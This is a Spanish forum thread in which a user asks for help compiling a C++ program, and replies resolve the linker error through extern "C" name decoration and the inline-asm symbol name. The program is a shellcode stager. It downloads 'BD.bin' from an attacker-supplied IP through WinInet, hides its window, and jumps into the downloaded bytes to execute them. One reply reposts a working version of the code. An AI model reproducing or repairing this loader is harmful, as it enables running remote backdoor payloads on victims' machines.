Autor
|
Tema: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y.. (Leído 2,946 veces)
|
DonJuanPinorio
Desconectado
Mensajes: 2
|
C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y (recipe for target 'BD.exe' failed) (BD.cpp:(.text+0x16d): undefined reference to `_DataReceived') #include <windows.h> #include<iostream> #include<cstring> #include<Wininet.h> using namespace std; unsigned char DataReceived[500]; int main(){ int i; HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0); if(!connect){ cout<<"Connection Failed or Syntax error"; return 0; } HINTERNET OpenAddress = InternetOpenUrl(connect,"http://(tu ip aqui)/share/BD.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0); if ( !OpenAddress ) { DWORD ErrorNum = GetLastError(); cout<<"Failed to open URL \nError No: "<<ErrorNum; InternetCloseHandle(connect); return 0; } DWORD NumberOfBytesRead = 0; while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead ) { for(i=0;i<sizeof DataReceived; i++ ){ printf("\\x%02x",DataReceived[i]); } __asm ("lea _DataReceived, %rax"); __asm ("push %rax"); __asm ("ret"); } InternetCloseHandle(OpenAddress); InternetCloseHandle(connect); return 0; }
////////////////////////////////////////////////////////////////////////////////////////// Este es el archivo que se crea del codigo anterior pero me da error en la linea 25 (recipe for target 'BD.exe' failed) # Project: BD # Makefile created by Dev-C++ 5.11
CPP = g++.exe CC = gcc.exe WINDRES = windres.exe OBJ = BD.o LINKOBJ = BD.o LIBS = -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib" -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib" -static-libgcc -mwindows -lwininet INCS = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include" CXXINCS = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include/c++" BIN = BD.exe CXXFLAGS = $(CXXINCS) CFLAGS = $(INCS) RM = rm.exe -f
.PHONY: all all-before all-after clean clean-custom
all: all-before $(BIN) all-after
clean: clean-custom ${RM} $(OBJ) $(BIN)
$(BIN): $(OBJ) $(CPP) $(LINKOBJ) -o $(BIN) $(LIBS)
BD.o: BD.cpp $(CPP) -c BD.cpp -o BD.o $(CXXFLAGS)
MOD: El código debe ir entre etiquetas de Código GeSHi
|
|
« Última modificación: 9 Febrero 2021, 16:01 pm por K-YreX »
|
En línea
|
|
|
|
Usuario887
Desconectado
Mensajes: 310
|
En el ASM integrado estas poniendo: __asm ("lea _DataReceived, %rax");
El bufer lo habias llamado DataReceived, ¿No? No _DataReceivedCambia la linea 41 por: __asm ("lea DataReceived, %rax");
|
|
|
En línea
|
|
|
|
BloodSharp
Desconectado
Mensajes: 804
El Messi-Vegeta :D
|
C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y (recipe for target 'BD.exe' failed) (BD.cpp:(.text+0x16d): undefined reference to `_DataReceived') extern "C" unsigned char DataReceived[500];
El bufer lo habias llamado DataReceived, ¿No? No _DataReceived Ese no es el problema, el problema es que no lo declaró como para ser utilizado sin "decorado"... B#
|
|
|
En línea
|
|
|
|
EdePC
|
MinGW no se hace problemas, lo compila y ejecuta normal: #include <windows.h> #include <iostream> #include <cstring> #include <Wininet.h> using namespace std; unsigned char DataReceived[500]; int main() { int i; HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0); if (!connect) { cout << "Connection Failed or Syntax error"; return 0; } HINTERNET OpenAddress = InternetOpenUrl(connect,"http://example.com", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0); if ( !OpenAddress ) { DWORD ErrorNum = GetLastError(); cout << "Failed to open URL \nError No: " << ErrorNum; InternetCloseHandle(connect); return 0; } DWORD NumberOfBytesRead = 0; while ( InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead ) { for ( i = 0; i < sizeof DataReceived; i++ ) { printf("\\x%02x",DataReceived[i]); } __asm ("lea _DataReceived, %eax"); __asm ("push %eax"); __asm ("ret"); } InternetCloseHandle(OpenAddress); InternetCloseHandle(connect); return 0; }
g++ -g bd.cpp -lwininet -static
De todas maneras le voy a dar una leída a los decorados y eso, ya que recién me entero que se podía meter ASM en C++ XD, en ningún libro que he leído lo mencionaba.
|
|
|
En línea
|
|
|
|
Usuario887
Desconectado
Mensajes: 310
|
Ese no es el problema, el problema es que no lo declaró como para ser utilizado sin "decorado"...
Pero ¿No depende el decorado del compilador? Para serte sincero, poca idea tenia del uso correcto de extern "C". Recuerdo que la primera vez que lo lei quede mas confundido que un perro delante de un espejo. ¿Entonces su unica funcion es suprimir el decorado? Gracias por la correccion. Saludos.
Estaba leyendo esto y parece que si... caramba cuanto tiempo sin volver a intentar entenderlo... la ultima vez era bastante mas pequeño. Bueno, y ¿Que tiene que ver eso en su problema? Aun sin mangling el nombre sigue siendo _DataReceived mientras el especifico DataReceived en su programa, ¿No?
|
|
« Última modificación: 9 Febrero 2021, 19:08 pm por marax »
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Error al compilar codigo python 3.4 a exe con pyqt4 y cx_freeze
Programación General
|
guido0671
|
0
|
2,579
|
6 Agosto 2014, 19:00 pm
por guido0671
|
|
|
Me da error al compilar y ejecutar el codigo
Programación C/C++
|
kz3
|
2
|
5,293
|
7 Junio 2015, 20:44 pm
por kz3
|
|
|
Ayuda para compilar este código C en Linux (error referencia a "" sin definir)
Programación C/C++
|
ShadowA7X
|
1
|
11,589
|
13 Noviembre 2015, 19:18 pm
por ShadowA7X
|
|
|
Ayuda, me aparecen errores al compilar
Dudas Generales
|
anywombay454
|
1
|
2,752
|
22 Enero 2017, 19:12 pm
por anywombay454
|
|
|
QUIERO COMPILAR MI CODIGO EN C/C++ Y ME APARECE ID RETURNED 1 EXIT STATUS
Programación C/C++
|
chikardo
|
3
|
2,648
|
1 Abril 2020, 01:18 am
por engel lex
|
|